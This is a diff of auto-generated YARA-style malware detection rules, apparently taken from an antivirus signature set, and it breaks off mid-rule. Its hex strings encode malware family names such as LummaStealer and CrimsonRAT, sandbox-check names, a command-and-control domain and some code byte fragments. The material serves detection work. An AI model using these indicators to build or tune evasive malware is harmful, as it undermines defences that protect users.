_InfrastructureShared_8572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -85697,7 +90832,7 @@ rule _InfrastructureShared_8093{ ((#a_4c_0 & 1)*21539+(#a_08_1 & 1)*-30141) >=2 } -rule _InfrastructureShared_8094{ +rule _InfrastructureShared_8573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -85709,7 +90844,7 @@ rule _InfrastructureShared_8094{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*20481+(#a_00_3 & 1)*110) >=2 } -rule _InfrastructureShared_8095{ +rule _InfrastructureShared_8574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -85722,7 +90857,7 @@ rule _InfrastructureShared_8095{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28502+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=2 } -rule _InfrastructureShared_8096{ +rule _InfrastructureShared_8575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -85734,7 +90869,7 @@ rule _InfrastructureShared_8096{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*27503+(#a_00_2 & 1)*106) >=2 } -rule _InfrastructureShared_8097{ +rule _InfrastructureShared_8576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -85744,7 +90879,7 @@ rule _InfrastructureShared_8097{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_8098{ +rule _InfrastructureShared_8577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85756,7 +90891,7 @@ rule _InfrastructureShared_8098{ ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*5888+(#a_70_2 & 1)*31083) >=3 } -rule _InfrastructureShared_8099{ +rule _InfrastructureShared_8578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85768,7 +90903,7 @@ rule _InfrastructureShared_8099{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29251+(#a_08_2 & 1)*2860) >=3 } -rule _InfrastructureShared_8100{ +rule _InfrastructureShared_8579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85779,7 +90914,7 @@ rule _InfrastructureShared_8100{ ((#a_46_0 & 1)*16675+(#a_02_2 & 1)*3840) >=3 } -rule _InfrastructureShared_8101{ +rule _InfrastructureShared_8580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85791,7 +90926,7 @@ rule _InfrastructureShared_8101{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_7e_2 & 1)*0) >=3 } -rule _InfrastructureShared_8102{ +rule _InfrastructureShared_8581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85803,7 +90938,7 @@ rule _InfrastructureShared_8102{ ((#a_46_0 & 1)*16675+(#a_05_1 & 1)*-31980+(#a_2f_2 & 1)*29807) >=3 } -rule _InfrastructureShared_8103{ +rule _InfrastructureShared_8582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85815,7 +90950,7 @@ rule _InfrastructureShared_8103{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_8104{ +rule _InfrastructureShared_8583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85826,7 +90961,7 @@ rule _InfrastructureShared_8104{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*24943) >=3 } -rule _InfrastructureShared_8105{ +rule _InfrastructureShared_8584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85838,7 +90973,7 @@ rule _InfrastructureShared_8105{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27507+(#a_69_2 & 1)*24941) >=3 } -rule _InfrastructureShared_8106{ +rule _InfrastructureShared_8585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85850,7 +90985,7 @@ rule _InfrastructureShared_8106{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*25347+(#a_4b_2 & 1)*17483) >=3 } -rule _InfrastructureShared_8107{ +rule _InfrastructureShared_8586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85862,7 +90997,7 @@ rule _InfrastructureShared_8107{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*26736+(#a_61_2 & 1)*29550) >=3 } -rule _InfrastructureShared_8108{ +rule _InfrastructureShared_8587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85874,7 +91009,7 @@ rule _InfrastructureShared_8108{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28276+(#a_00_2 & 1)*25964) >=3 } -rule _InfrastructureShared_8109{ +rule _InfrastructureShared_8588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85886,7 +91021,7 @@ rule _InfrastructureShared_8109{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25956+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_8110{ +rule _InfrastructureShared_8589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85898,7 +91033,7 @@ rule _InfrastructureShared_8110{ ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*17740+(#a_64_2 & 1)*16686) >=3 } -rule _InfrastructureShared_8111{ +rule _InfrastructureShared_8590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -85910,7 +91045,7 @@ rule _InfrastructureShared_8111{ ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*1+(#a_7e_2 & 1)*0) >=3 } -rule _InfrastructureShared_8112{ +rule _InfrastructureShared_8591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -85922,7 +91057,7 @@ rule _InfrastructureShared_8112{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*9533+(#a_67_2 & 1)*12090) >=3 } -rule _InfrastructureShared_8113{ +rule _InfrastructureShared_8592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -85936,35 +91071,50 @@ rule _InfrastructureShared_8113{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28015+(#a_5f_2 & 1)*21102+(#a_31_3 & 1)*12911+(#a_54_4 & 1)*17746) >=3 } -rule _InfrastructureShared_8114{ +rule _InfrastructureShared_8593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 74 54 72 61 76 65 6c 65 72 2e 41 00 01 00 10 80 01 5c 73 79 73 69 6e 66 6f 32 30 31 33 2e 64 6c 6c 01 00 11 80 01 41 63 63 6f 75 6e 74 20 50 72 69 76 61 67 65 3a 20 01 00 06 80 01 3f 61 61 61 61 3d 01 } //18467 $a_01_1 = {52 55 4e 5f 44 49 52 45 43 54 01 00 0a 80 01 25 73 74 65 6d 70 2e 62 6d 70 00 00 78 7e 00 00 03 00 03 00 05 00 21 23 48 53 54 52 3a 56 61 72 69 6f 75 73 53 61 6e 64 62 6f 78 63 68 65 63 6b 69 6e 67 00 01 00 0f 01 49 73 41 6e 75 62 69 73 53 61 6e 64 62 6f 78 01 00 0b 01 49 73 43 57 53 61 6e 64 62 6f 78 01 00 0f 01 49 73 4e 6f 72 6d 61 6e 53 61 6e 64 62 6f 78 01 00 0b 01 49 73 53 61 } //2560 - $a_6f_2 = {69 65 01 00 10 01 49 73 53 75 6e 62 65 6c 74 53 61 6e 64 62 6f 78 00 00 78 7e 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 51 21 4d 54 42 00 04 00 4d 03 57 33 f6 e8 90 01 04 b9 49 f7 02 78 89 44 24 90 01 01 e8 90 01 04 b9 } //25710 - $a_e5_3 = {44 24 90 01 01 e8 90 01 04 b9 10 e1 8a c3 8b e8 e8 90 01 04 b9 af b1 5c 94 89 44 24 90 01 01 e8 90 01 04 b9 33 00 9e 95 89 44 24 90 01 01 e8 90 00 00 00 78 7e 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6e 6f 70 } //-23464 - $a_4e_4 = {21 4d 54 42 00 03 00 30 03 02 7b 0a 00 00 04 04 6f 90 01 03 0a 0b 73 90 01 03 0a 0c 08 07 6f 90 01 03 0a 08 72 cb 01 00 70 6f 77 00 00 0a } //29285 + $a_6f_2 = {69 65 01 00 10 01 49 73 53 75 6e 62 65 6c 74 53 61 6e 64 62 6f 78 00 00 78 7e 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 46 69 6c 65 4f 70 65 72 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0a 81 01 43 72 65 61 74 65 46 69 6c 65 01 00 09 81 01 57 72 69 74 65 46 69 6c 65 } //25710 + $a_81_3 = {52 65 61 64 46 69 6c 65 } //1 ReadFile + $a_81_4 = {44 65 6c 65 74 65 46 69 6c 65 } //1 DeleteFile condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2560+(#a_6f_2 & 1)*25710+(#a_e5_3 & 1)*-23464+(#a_4e_4 & 1)*29285) >=3 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2560+(#a_6f_2 & 1)*25710+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=3 } -rule _InfrastructureShared_8115{ +rule _InfrastructureShared_8594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_54_0 = {3a 56 61 72 69 6f 75 73 53 61 6e 64 62 6f 78 63 68 65 63 6b 69 6e 67 00 01 00 0f 01 49 73 41 6e 75 62 69 73 53 61 6e 64 62 6f 78 01 00 0b 01 49 73 43 57 53 61 6e 64 62 6f 78 01 00 0f 01 49 73 4e 6f 72 6d 61 6e 53 61 6e 64 62 6f 78 01 00 0b 01 49 73 } //18467 - $a_64_1 = {6f 78 69 65 01 00 10 01 49 73 53 75 6e 62 65 6c 74 53 61 6e 64 62 6f 78 00 00 78 7e 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 51 21 4d 54 42 00 04 00 4d 03 57 33 f6 e8 90 01 04 b9 49 f7 02 78 89 44 24 90 01 01 e8 90 01 04 b9 58 a4 53 e5 89 44 24 90 01 01 } //24915 - $a_04_2 = {b9 } //-28440 - $a_c3_3 = {e8 e8 90 01 04 b9 af b1 5c 94 89 44 24 90 01 01 e8 90 01 04 b9 33 00 9e 95 89 44 24 90 01 01 e8 90 00 00 00 78 7e 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6e 6f 70 65 72 2e 4e 44 21 4d 54 42 00 03 00 30 03 02 7b 0a 00 00 04 04 6f 90 01 03 0a 0b 73 90 01 03 0a 0c 08 07 6f 90 01 03 0a 08 72 cb 01 00 70 6f 77 00 00 0a 0d 09 6f 78 00 00 0a 13 0b 90 00 01 00 1e 01 55 54 43 55 } //-7920 - $a_74_4 = {2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 7e 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 53 4c 21 4d 54 42 00 02 00 22 01 06 07 02 07 18 5a 18 6f 6b 00 00 0a 1f 10 28 6c 00 00 0a 9c 07 17 } //25712 + $a_64_1 = {6f 78 69 65 01 00 10 01 49 73 53 75 6e 62 65 6c 74 53 61 6e 64 62 6f 78 00 00 78 7e 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 46 69 6c 65 4f 70 65 72 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0a 81 01 43 72 65 61 74 65 46 69 6c 65 01 00 09 81 01 57 72 69 74 65 46 69 6c 65 01 00 08 81 01 52 65 61 64 46 } //24915 + $a_01_2 = {00 0a 81 01 44 65 6c 65 74 65 46 69 6c 65 01 00 08 81 01 43 6f 70 79 46 69 6c 65 01 00 08 81 01 4d 6f 76 65 46 69 6c 65 00 00 78 7e 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 51 21 4d 54 42 00 04 00 4d 03 57 33 f6 e8 90 01 04 b9 } //27753 + $a_78_3 = {44 24 } //-2231 D$ + $a_e8_4 = {01 } //400 condition: - ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*24915+(#a_04_2 & 1)*-28440+(#a_c3_3 & 1)*-7920+(#a_74_4 & 1)*25712) >=3 + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*24915+(#a_01_2 & 1)*27753+(#a_78_3 & 1)*-2231+(#a_e8_4 & 1)*400) >=3 } -rule _InfrastructureShared_8116{ +rule _InfrastructureShared_8595{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 46 69 6c 65 4f 70 65 72 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0a 81 01 43 72 65 61 74 65 46 69 6c 65 01 00 09 81 01 57 72 69 74 65 46 69 6c 65 01 00 08 81 01 52 65 61 64 46 69 6c 65 01 00 0a 81 01 44 65 6c 65 74 65 46 } //18467 + $a_01_1 = {00 08 81 01 43 6f 70 79 46 69 6c 65 01 00 08 81 01 4d 6f 76 65 46 69 6c 65 00 00 78 7e 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 51 21 4d 54 42 00 04 00 4d 03 57 33 f6 e8 90 01 04 b9 49 f7 02 78 89 44 24 90 01 01 e8 90 01 04 b9 } //27753 + $a_e5_2 = {44 24 90 01 01 e8 90 01 04 b9 10 e1 8a c3 8b e8 e8 90 01 04 b9 af b1 5c 94 89 44 24 90 01 01 e8 90 01 04 b9 33 00 9e 95 89 44 24 90 01 01 e8 90 00 00 00 78 7e 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6e 6f 70 } //-23464 + $a_4e_3 = {21 4d 54 42 00 03 00 30 03 02 7b 0a 00 00 04 04 6f 90 01 03 0a 0b 73 90 01 03 0a 0c 08 07 6f 90 01 03 0a 08 72 cb 01 00 70 6f 77 00 00 0a } //29285 + $a_78_4 = {00 0a 13 0b 90 00 01 00 1e 01 55 54 43 55 70 64 61 74 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 7e 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 53 4c 21 4d 54 42 00 02 00 22 01 06 07 02 07 18 5a 18 6f 6b 00 00 0a 1f 10 28 6c 00 } //2317 + $a_07_5 = {17 58 0b 07 06 8e 69 fe 04 0c 08 2d de 02 00 25 81 01 24 64 39 63 64 66 36 62 65 2d 39 39 32 33 2d 34 63 39 39 2d 61 36 62 64 2d 62 61 39 34 37 62 31 33 64 62 61 34 00 00 78 7e 00 00 04 00 04 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 54 69 6e 79 2e 41 52 41 21 4d 54 42 00 02 00 33 01 8b 35 88 1c 41 00 b8 67 66 66 66 f7 e9 c1 fa 02 8b c2 c1 e8 1f 03 c2 8b 15 00 10 41 00 8d 04 80 03 c0 2b d0 8a 04 0a 30 04 0e 41 } //2560 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27753+(#a_e5_2 & 1)*-23464+(#a_4e_3 & 1)*29285+(#a_78_4 & 1)*2317+(#a_07_5 & 1)*2560) >=3 + +} +rule _InfrastructureShared_8596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -85974,7 +91124,7 @@ rule _InfrastructureShared_8116{ ((#a_4c_0 & 1)*21539) >=4 } -rule _InfrastructureShared_8117{ +rule _InfrastructureShared_8597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -85985,7 +91135,7 @@ rule _InfrastructureShared_8117{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144) >=4 } -rule _InfrastructureShared_8118{ +rule _InfrastructureShared_8598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -85996,7 +91146,7 @@ rule _InfrastructureShared_8118{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*14692) >=4 } -rule _InfrastructureShared_8119{ +rule _InfrastructureShared_8599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -86007,20 +91157,19 @@ rule _InfrastructureShared_8119{ ((#a_46_0 & 1)*21283+(#a_30_1 & 1)*1162) >=4 } -rule _InfrastructureShared_8120{ +rule _InfrastructureShared_8600{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " strings : - $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 4d 75 6c 74 69 62 61 72 2e 41 2e 61 77 32 34 00 02 00 19 80 01 69 6e 73 74 61 6c 6c 2e 6d 75 6c 74 69 6e 73 74 61 6c 6c 65 72 2e 63 6f 6d 01 00 09 80 01 74 69 63 6e 6f 2e 63 6f 6d 01 00 0f 80 01 53 } //16675 - $a_4f_1 = {6e 65 64 50 6f 70 75 70 73 01 00 11 80 01 59 61 6e 64 65 78 53 65 61 72 63 68 41 6c 6c 6f 77 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 69 6d 73 6f 6e 52 41 54 2e 53 4c 21 4d 54 42 00 01 00 14 01 73 75 6e 6e 79 6c 65 6f 6e 65 2e 68 6f 70 74 6f 2e 6f 72 67 01 00 10 01 43 68 61 69 72 74 61 62 6b 6a 68 38 } //28520 - $a_65_2 = {00 0d 01 47 65 74 43 75 72 73 6f 72 49 6e 66 6f 01 00 11 01 67 65 74 5f 50 72 69 6d 61 72 79 53 63 72 65 65 6e 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 65 72 76 75 49 6e 74 65 67 72 61 74 69 6f 6e 44 6c 6c 2e 41 00 01 00 0c 01 53 55 55 41 46 69 6e 64 55 73 65 72 01 00 10 01 53 55 55 41 47 65 74 41 74 74 } //25902 - $a_75_3 = {65 01 00 10 01 53 55 55 41 53 65 74 41 74 74 72 69 62 75 74 65 01 00 11 01 53 55 55 41 45 6e 75 6d 44 69 72 41 63 63 65 73 73 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 61 63 6b 6f 70 61 6c 2e 41 21 64 68 61 00 01 00 16 01 43 4f } //26994 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 43 72 79 70 74 2e 4e 44 21 4d 54 42 00 02 00 24 81 01 32 65 62 38 36 62 62 39 2d 37 32 63 36 2d 34 64 66 37 2d 62 32 32 34 2d 30 34 62 32 61 32 63 38 64 34 36 64 01 00 11 81 01 } //16675 + $a_6e_1 = {53 65 74 45 6e 63 72 79 70 74 6f 72 01 00 0f 03 11 08 91 11 90 01 03 09 5d 91 61 d2 9c 90 00 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 69 6d 73 6f 6e 52 41 54 2e 53 4c 21 4d 54 42 00 01 00 14 01 73 75 6e 6e 79 6c 65 6f 6e 65 2e 68 6f 70 74 6f 2e 6f 72 67 01 00 10 01 43 68 61 69 72 74 61 62 6b 6a } //28483 + $a_65_2 = {65 01 00 0d 01 47 65 74 43 75 72 73 6f 72 49 6e 66 6f 01 00 11 01 67 65 74 5f 50 72 69 6d 61 72 79 53 63 72 65 65 6e 00 00 78 7e 00 00 04 } //14440 condition: - ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*28520+(#a_65_2 & 1)*25902+(#a_75_3 & 1)*26994) >=4 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28483+(#a_65_2 & 1)*14440) >=4 } -rule _InfrastructureShared_8121{ +rule _InfrastructureShared_8601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -86033,7 +91182,7 @@ rule _InfrastructureShared_8121{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*269+(#a_74_2 & 1)*29287+(#a_4c_3 & 1)*8993) >=4 } -rule _InfrastructureShared_8122{ +rule _InfrastructureShared_8602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -86046,7 +91195,7 @@ rule _InfrastructureShared_8122{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*21845+(#a_63_2 & 1)*29251+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_8123{ +rule _InfrastructureShared_8603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -86059,7 +91208,7 @@ rule _InfrastructureShared_8123{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29285+(#a_00_2 & 1)*24418+(#a_69_3 & 1)*23553) >=4 } -rule _InfrastructureShared_8124{ +rule _InfrastructureShared_8604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -86071,59 +91220,84 @@ rule _InfrastructureShared_8124{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28271+(#a_66_3 & 1)*26204) >=4 } -rule _InfrastructureShared_8125{ +rule _InfrastructureShared_8605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {45 52 3a 57 69 6e 33 32 2f 43 68 69 6e 66 6c 65 6a 2e 41 00 01 00 28 03 68 74 74 70 3a 2f 2f 77 77 77 2e 73 75 69 62 69 61 90 01 0b 6e 6c 61 2e 63 6e 2f 6e 65 77 61 64 2e 68 74 6d 6c 3f 90 00 01 00 0c 01 00 63 3a 5c 66 66 66 2e } //16675 $a_00_1 = {01 00 0c 01 00 63 3a 5c 61 61 61 2e 6c 6f 67 00 01 00 0c 01 00 63 3a 5c 62 62 62 2e 6c 6f 67 00 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 53 74 61 74 65 56 75 6c 6e 49 49 53 2e 41 00 01 00 11 80 01 5f 5f 56 53 54 41 54 45 47 45 4e 45 52 41 54 4f 52 01 00 0e 80 01 5f 56 61 6c 69 64 61 74 65 } //28524 - $a_75_2 = {01 00 0d 80 01 58 4e 6f 64 65 2e 49 49 53 4e 6f 64 65 01 00 1f 80 01 56 61 6c 69 64 61 74 65 49 6e 70 75 74 49 66 52 65 71 75 69 72 65 64 42 79 43 6f 6e 66 69 67 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 41 31 32 33 21 4d 54 42 00 01 00 09 81 01 43 4d 47 49 20 49 6e } //28233 - $a_00_3 = {1b } //11875 + $a_75_2 = {01 00 0d 80 01 58 4e 6f 64 65 2e 49 49 53 4e 6f 64 65 01 00 1f 80 01 56 61 6c 69 64 61 74 65 49 6e 70 75 74 49 66 52 65 71 75 69 72 65 64 42 79 43 6f 6e 66 69 67 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4f 30 31 21 4d 54 42 00 01 00 0f 81 01 77 68 61 75 70 20 6d 61 6e } //28233 + $a_61_3 = {74 01 00 06 81 01 62 61 74 65 74 65 01 00 16 81 01 77 69 6e 64 6f 77 73 20 73 6b 6e 61 61 6e 64 20 67 69 72 64 65 64 01 00 17 81 01 72 65 76 61 6e 63 68 65 6b 61 6d 70 65 6e 65 73 20 74 65 72 74 69 72 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 41 31 32 33 21 4d 54 42 } //26979 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28524+(#a_75_2 & 1)*28233+(#a_00_3 & 1)*11875) >=4 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28524+(#a_75_2 & 1)*28233+(#a_61_3 & 1)*26979) >=4 } -rule _InfrastructureShared_8126{ +rule _InfrastructureShared_8606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 56 53 74 61 74 65 56 75 6c 6e 49 49 53 2e 41 00 01 00 11 80 01 5f 5f 56 53 54 41 54 45 47 45 4e 45 52 41 54 4f 52 01 00 0e 80 01 5f 56 61 6c 69 64 61 74 65 49 6e 70 75 74 01 00 0d 80 01 58 4e 6f 64 65 2e 49 49 53 4e 6f 64 65 01 00 1f 80 01 56 61 } //18467 - $a_61_1 = {65 49 6e 70 75 74 49 66 52 65 71 75 69 72 65 64 42 79 43 6f 6e 66 69 67 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 41 31 32 33 21 4d 54 42 00 01 00 09 81 01 43 4d 47 49 20 49 6e 63 2e 01 00 1b 81 01 6d 69 6e 69 6d 75 6d 73 6c 6e 67 } //26988 - $a_6e_2 = {20 77 61 67 6f 6e 73 2e 65 78 65 01 00 0a 81 01 41 76 61 79 61 20 49 6e 63 2e 01 00 12 81 01 41 4c 4c 54 45 4c 20 43 6f 72 70 6f 72 61 74 69 6f 6e 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 48 31 32 33 21 4d 54 42 00 01 00 0b 81 01 67 75 6c 64 6c 6c 65 72 6e 65 73 01 00 14 } //25956 - $a_6c_3 = {75 67 68 6c 69 6e 65 20 6d 79 63 65 6c 69 65 74 73 01 00 14 81 01 64 61 67 64 72 69 76 65 72 69 65 72 20 6c 65 6f 70 6f 6c 64 01 00 0d 81 01 72 65 73 75 72 72 65 63 74 69 6f 6e 73 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 50 52 31 21 4d 54 42 00 01 00 1b } //385 + $a_61_1 = {65 49 6e 70 75 74 49 66 52 65 71 75 69 72 65 64 42 79 43 6f 6e 66 69 67 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4f 30 31 21 4d 54 42 00 01 00 0f 81 01 77 68 61 75 70 20 6d 61 6e 63 69 70 61 6e 74 01 00 06 81 01 62 61 74 65 74 65 01 } //26988 + $a_01_2 = {77 69 6e 64 6f 77 73 20 73 6b 6e 61 61 6e 64 20 67 69 72 64 65 64 01 00 17 81 01 72 65 76 61 6e 63 68 65 6b 61 6d 70 65 6e 65 73 20 74 65 72 74 69 72 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 41 31 32 33 21 4d 54 42 00 01 00 09 81 01 43 4d 47 49 20 49 6e 63 2e 01 00 